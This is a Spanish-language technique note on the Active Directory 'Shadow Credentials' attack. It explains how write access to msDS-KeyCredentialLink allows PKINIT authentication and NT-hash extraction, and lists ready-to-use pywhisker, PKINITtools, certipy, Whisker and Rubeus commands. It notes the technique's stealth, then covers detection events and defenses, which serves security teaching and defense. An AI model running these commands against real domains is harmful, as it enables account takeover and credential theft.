Shadow Credentials

El ataque de Shadow Credentials convierte un permiso de escritura sobre una cuenta de Active Directory en autenticación completa como esa cuenta, sin conocer ni cambiar su contraseña. Es la forma más limpia de explotar GenericWrite, GenericAll o cualquier ACE que permita escribir el atributo msDS-KeyCredentialLink del objetivo.

En qué se basa. Desde Windows Server 2016, Active Directory admite autenticación por certificado con PKINIT (la base de Windows Hello for Business). Las claves públicas autorizadas para una cuenta se guardan en el atributo msDS-KeyCredentialLink. Si podemos escribir ese atributo, añadimos nuestra propia clave pública y a partir de ahí pedimos un TGT por PKINIT autenticándonos con la clave privada que controlamos.

Cómo se ejecuta. La herramienta de referencia es pywhisker (escribe el atributo y genera un .pfx), seguida de las PKINITtools:

python3 pywhisker.py -d <domain> -u <atacante> -p <pass> --target <target> --action add
python3 gettgtpkinit.py -cert-pfx <file.pfx> -pfx-pass <pass> <domain>/<target> <ccache>
KRB5CCNAME=<ccache> python3 getnthash.py -key <as-rep-key> -dc-ip <ip> <domain>/<target>

gettgtpkinit obtiene el TGT y, de la clave de sesión que devuelve, getnthash deriva el hash NT de la cuenta. Con ese hash ya se puede hacer Pass-the-Hash o seguir pivotando.

También hay un camino de una sola orden y variantes para Windows:

# certipy: anadir la clave, pedir el TGT y sacar el hash NT de una vez
certipy shadow auto -u <atacante>@<domain> -p <pass> -account <target> -dc-ip <ip>
# listar o quitar claves ya sembradas
python3 pywhisker.py -d <domain> -u <atacante> -p <pass> --target <target> --action list
python3 pywhisker.py -d <domain> -u <atacante> -p <pass> --target <target> --action remove --device-id <id>

Whisker.exe add /target:<target>
Rubeus.exe asktgt /user:<target> /certificate:<file.pfx> /password:<pass> /ptt

Frente a otros abusos. Comparado con forzar el cambio de contraseña, Shadow Credentials es más sigiloso: no rompe el inicio de sesión del usuario legítimo ni deja una contraseña nueva, solo añade una entrada en un atributo poco vigilado. Por eso suele preferirse cuando el objetivo es una cuenta en uso.

Cómo detectarlo. Añadir la clave deja un Event ID 5136 (se modificó un objeto del servicio de directorio) sobre el atributo msDS-KeyCredentialLink; como casi ninguna organización usa Windows Hello for Business en cuentas de servidor, cualquier escritura de ese atributo sobre una cuenta que no sea un puesto de usuario es altamente sospechosa (requiere Audit Directory Service Changes y SACL). El uso posterior aparece como una autenticación PKINIT: Event ID 4768 (petición de TGT) con Pre-Authentication Type 16 y un Certificate Information relleno, en vez del RC4/AES habitual de contraseña. Ese 4768 con certificado para una cuenta que nunca se autentica así cierra la detección.

Defensa. Restringir quién puede escribir msDS-KeyCredentialLink y, si no se usa Windows Hello for Business, considerar vaciar/auditar el atributo. La protección de PKINIT y la extensión de seguridad de los certificados (ESC9) están relacionadas.